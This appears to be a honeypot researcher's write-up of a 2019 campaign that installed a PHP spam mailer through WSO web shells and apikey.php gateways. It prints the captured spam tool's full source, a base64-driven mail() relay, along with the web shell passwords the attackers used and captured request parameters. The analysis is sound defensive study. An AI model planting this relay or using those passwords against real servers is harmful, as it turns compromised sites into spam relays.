Skip to content

Latest commit

 

History

History

random.campaign

Distributed spam tool installation compaign

Between Thu Oct 10 02:10:28 MDT 2019 and Thu Oct 10 04:03:43 MDT 2019, someone downloaded 574 identical files to my honey pot, almost all accessed within 310 seconds of their download. The kicker is that that downloading IP addresses are mostly not the same as the accessing addresses. It's a distributed computation.

The final spam tool is identical to the erena.php spam tool. This campaign is more sophisticated than the erena.php install: it targets multiple web shells, with variant passwords.

2019-11-01, captured a second, similar campaign

2019-11-08, captured a third campaign, similar, but the downloading IP addresses almost always (1 exception) did the subsequent access, too. This seems like an odd change to make.

Installation

The attacker(s) apparently believed that they were invoking a mix of WSO web shells and apikey.php file gateways when they tried to install the spam tool. My WordPress honey pot emulates both, to lesser or greater extent.

If we look at the HTTP parameter names sent to the URL that would install the spam tool, we can actually determine what web shell the attackers seemed to believe they were using.

Variant Download count HTTP Parameters Target Web shell
A 20 a, ch, p, pw WSO variant "f4", 2.5 branch
B 20 fe, j_submenu apikey.php variant
C 21 _l_, fe apikey.php variant
D 23 fe, j_jmenu apikey.php variant
E 72 a, charset, ne, p1, pass,watching WSO 4.2.6
F 168 f_pp, fe apikey.php variant, t_file_wp
G 250 a, charset, p1, pass WSO 2.x

Every WSO access was by explicit password parameter. Only 3 passwords got used:

  • F5d4JH6m1
  • asdf
  • t4c3PFr5

These are also the same password (or decoding key, really) used for any of the apikey.php variant invocations.

The "F5d4JH6m1" decoding key worked on the t_file_wp variant of apikey.php my honey pot captured earlier.

The attackers used only 9 URLs to download the spam tool. If we count the HTTP parameter sets, we see that every URL downloaded to got accessed as if it were every single web shell or file gateway variant. The attackers are not taking any chances with whatever malware they download to.

Download count A B C D E F G URL
62 2 2 2 2 8 19 27 http://stratigery.com/admin/wp-content/plugins/apikey/single-rating.php
65 2 2 3 2 9 18 29 http://stratigery.com/admin/wp-content/plugins/apikey/wp-template-tags.php
64 3 2 2 3 8 18 28 http://stratigery.com/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
66 3 3 2 3 8 20 27 http://stratigery.com/wp-content/plugins/apikey/class-IXR-error.php
63 2 2 2 2 8 17 30 http://stratigery.com/wp-content/plugins/apikey/class-wc-action-queue.php
62 1 3 3 3 7 18 27 http://stratigery.com/wp-content/plugins/apikey/class-wc-post-data.php
64 3 2 2 3 8 20 26 http://stratigery.com/wp-content/plugins/apikey/class-wc-privacy.php
64 2 2 3 2 8 19 28 http://stratigery.com/wp/wp-content/plugins/apikey/class.jetpack-cli.php
63 2 2 2 3 8 19 28 http://stratigery.com/wp/wp-content/plugins/apikey/customer-refunded-order.php

The "A", "B", "C" etc refer to the HTTP parameter variants in the previous table above.

Every single installation attempt had the same User Agent string, and an Accept-language header indicating Russian as the preferred language.

Accept-language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.17

Earliest access I have recorded for that user agent: 2014-07-28 01:35:20-06, but this is probably just an arbitrarily-chosen user agent. p0f3 says that the installation requests come from a variety of operating systems:

FreeBSD
FreeBSD 9.x or newer
Linux 2.2.x-3.x
Linux 2.2.x-3.x (barebone)
Linux 2.2.x-3.x (no timestamps)
Linux 2.6.x
Linux 3.1-3.10
Linux 3.11 and newer
Linux 3.x
Windows 7 or 8
Windows NT kernel

To be honest, 516 of the requests come from Windows 7 or 8, or NT kernel, the others constitute just a smattering of "other OSes", so this doesn't represent "OS agnosticism" or any kind of progressive views of alternate OSes. The user agent and preferred language may indicate the nationality of whoever wrote that program, not who was running it.

Duplicate install file names

15 installs involved duplicate file names. That is, 15 file names would have ended up installed twice. In every case, 2 different IP addresses did the installation.

None of the second installs accessed a web shell emulator with the same URL as the first attempt. Five of the second installs used HTTP parameters with the same names as the first. Since about 50% of the installs used HTTP parameters for WSO 2.x variants, this isn't outside the realm of choosing using a random number generator.

The interval between the first and second install attempt runs from 72 sec to 6186 seconds.

All of this makes the distributed computation look like it has some problems, either with the randomly-selected-file-name generator, or with the units of work selection.

Access

The spam tool go installed from 568 IP addresses, 559 IP addresses tried to invoke URLs involving the file names that emulated web shells were instructed to use.

p0f3 says that the access requests were from pretty much the same motley assortment of operating systems:

FreeBSD 9.x or newer
Linux 2.2.x-3.x
Linux 2.2.x-3.x (barebone)
Linux 2.2.x-3.x (no timestamps)
Linux 3.11 and newer
Linux 3.x
Windows 7 or 8
Windows NT kernel

Seven file names got "installed", but not accessed as URLs.

Three file names ended up in duplicate URL accesses. The intervals between first access and second access where 0.412s, 146s, 5059s. I wish the intervals were all closer, as that would confirm a race in the work queue implementation.

One Unique User Agent String

The User Agent strings contain a small surprise:

  1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
564 Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.17

This is one of the two http://stratigery.com/wp-content/plugins/apikey/ifqsrhunq.php accesses, the one with a 0.412s interval between first and second access. That's a small interval.

This supposedly-human access differed from all the other install or test accesses in several ways:

  • An "Accept Charset" header of ISO-8859-1;utf-8;q=0.7,*;q=0.7 instead of the "Accept Language" header of ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4.
  • It was a GET with no parameters, the only GET in the installs and access attempts.
  • I'm not sure what HTTP header corresponds to a PHP environment variable of "HTTP_PROXY_CONNECTION", which had a value of "Keep-Alive".

I hypothesize that a human either picked a previously-unaccessed URL from the queue that happened to get tried by the distributed computation fairly rapidly, or that a human tried "the next" URL to be access-tested. This is someone manually checking on a "WordPress" site that has anomalous numbers of successful installs, but sends none of the test emails. It also looks like the human was careful enough to use some kind of HTTP proxy to get to my honey pot. Better opsec than some, I suppose.

Only 7 IP addresses both install a PHP file and access a URL with a file's name in it. None of these addresses install the file name whose URL they later access.

There's a 5.0 second mean interval between install and access, 2.88 sec median interval. Shortest interval 1.4 sec, longest 316 seconds.

Installs and accesses are interleaved: accesses of URLs that ought-to-have-been-installed start before the final install takes place.

Downloaded malware

The spam tool is nothing special, a very utilitarian call to PHP's mail() builtin. It does return a string indicating success or failure of the mail() call. The string composition works, but does not carry out the programmer's intent when mail() fails. No error message comes from mail(), only a boolean, so the string composition for failure doesn't return something, but the code pretends it does.

<?php
$jewrqwbnlk = base64_decode($_POST['ylxqjqbcn']);
$xaouf = base64_decode($_POST['nrsf']);
$jwgpxlzblkepa = base64_decode($_POST['tdluhqtnmzr']);
$fcublsqtpae = base64_decode($_POST['qqifquaqdzvp']);
$jfnbrsjfq = mail($jewrqwbnlk, $xaouf, $jwgpxlzblkepa , $fcublsqtpae);
if($jfnbrsjfq){echo 'vwkxlpc';} else {echo 'yfbhn : ' . $jfnbrsjfq;}
HTTP Parameter PHP variable Meaning
ylxqjqbcn jewrqwbnlk To: address
nrsf xaouf Subject: line
tdluhqtnmzr jwgpxlzblkepa Email body
qqifquaqdzvp fcublsqtpae Additional SMTP headers

If PHP's mail() builtin works, the code outputs the string "vwkxlpc". Otherwise, it outputs the string "yfbhn : ". It looks like maybe the "yfbhn" error output was supposed to have a message appended, but PHP doesn't work that way. Mediocre coding.

The Email

I took this out of this access, which is for http://stratigery.com/admin/wp-content/plugins/apikey/ltsfcwiab.php

[ylxqjqbcn] => ZXhpbW1heEBtYWlsLnJ1
[nrsf] => YUhSMGNEb3ZMM04wY21GMGFXZGxjbmt1WTI5dEwyRmtiV2x1TDNkd0xXTnZiblJsYm5RdmNHeDFaMmx1Y3k5aGNHbHJaWGt2YkhSelptTjNhV0ZpTG5Cb2NBPT0=
[tdluhqtnmzr] => TVRZek1qa3pPRGM9
[qqifquaqdzvp] => UmV0dXJuLVBhdGg6IDxDaGVyaW5BcnF1ZXR0ZUBzYWNvbnN1bC5jb20+DQpGcm9tOiBDaGVyaW4gQXJxdWV0dGUgPENoZXJpbkFycXVldHRlQHNhY29uc3VsLmNvbT4NCk1JTUUtVmVyc2lvbjogMS4wDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9IlVURi04Ig0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0

The subject line matches the URL of the access: each access is an individually-encode test of the URL used to invoke.

  • All 564 "to" addresses are the same
  • Subject, body and extra SMTP headers unique for each test access

Decoding the 564 different subject lines gives me 562 unique URLs. These are exactly the same as the URLs by which the spam tools got invoked. The subject line encodes the URL of the spam tool through which the test email supposedly got sent.

The 564 different bodies, when decoded, comprise string representations of numbers from 41735 to 99752522. These could be 564 consecutive pseudo-random numbers from any half-decent PRNG. A PHP v7 program generates a similar looking list of numbers.

After a single base64 decoding, the 564 different sets of extra SMTP headers show that the attackers just wanted different "From" names and email addresses.

All the sets of SMTP headers looked like the above example, and like this:

Return-Path: <AbuAlba@agipkco.com>
From: Abu Alba <AbuAlba@agipkco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: base64

The surnames are only 64 in number, and appear to be those of celebrities: "Hanks", "Jolie", "Alba", "Pitt", etc. The given names are all unique. The email addresses are of the form "GivenSur@something.com".

564 unique domain names appear in the email addresses, none of them "gmail.com" or "yahoo.com" or any other well-known email provider.

This is all clearly automatically composed from a list of surnames and a list of given names, and a list of domain names. I imagine these SMTP headers appear to keep the emails out of gmail's spam folder.

Hypothetical System Design

The system has five main components:

  • Initializer
  • Set of workers
  • Queue of work items
  • Controller
  • Receptionist

Initializer - start workers on compromised machines, give them enough info to find Queue of work items, communicate with Controller. This could be as simple as a program that uses a list of web shells purchased somewhere, sending some portable code to each of the web shells. It could be as weird and tricky as a WordPress vulnerability scanner that finds vulnerable WordPress or Joomla sites, installing the worker program as it finds them. Initializer fires up, starts all the workers it can then exits.

Individual workers - when started, retrieve a job from the queue of work items, do the work, send job status to controller, loop back to retrieve a new job from queue. It appears that the workers make some of the decisions themselves. The 15 duplicate installs seemed like they made random choices of what kind of web shell they attempted to use in an install - 10 of the 15 used different web shells for each install, consistent with a random choice. I'm concerned that the percentages of each web shell variant used aren't calculated correctly. It's hard to get non-uniform probablity choices correct.

Queue of work items - probably not a static structure, but rather an active subsystem that decides what type of job to assign to each item put on queue. Queue needs to be "thread safe" to a degree. Probably uses a DBMS (MySQL) to do this.

Controller - receives job status and related info from workers, and maybe successful-test-emails from the Receiptionist. If the job received suceeded, put related info into the queue. Probably logs status/info as well.

Receptionist - reads email to determine if spam software invocation worked. Puts hypothesized actual email spam jobs on queue.

Queue and controller need not run on the same machine.

Receptionist could be part of the Controller, but that would be an awkward fit: it needs to run asynchronously to poll gmail for test emails from initial spam software invocations.

There's at least 2 kinds of jobs:

  1. Install spam tool email software
  2. Invoke spam tool email software with a test email

My honey pot did not see the obvious 3rd kind of job, send a real spam, because it doesn't actually emulate the spam tool itself. Job type 2, sending a test email, never happened. I do think such a job type existed.

Estimation of total number of worker IP addresses

If there's a distributed system as I propose above, I caught 2 groups of IP addresses: the installers, and the accessers. There's 8 IP addresses in both groups.

The mark-and-recapture method of population estimation, used by biologists, can be used here to estimate how many "worker" IP addresses this distributed system uses.

Population = (First sample size)(Second sample size)/(Number of recaptures)

Number of workers = (569)(559)/8 = 45438

That's totally absurd. I've found web stores selling access to backdoors at $0.40 to $0.90 each. That would be $18,200 if you bought URLs for web shells. This method doesn't work in this instance.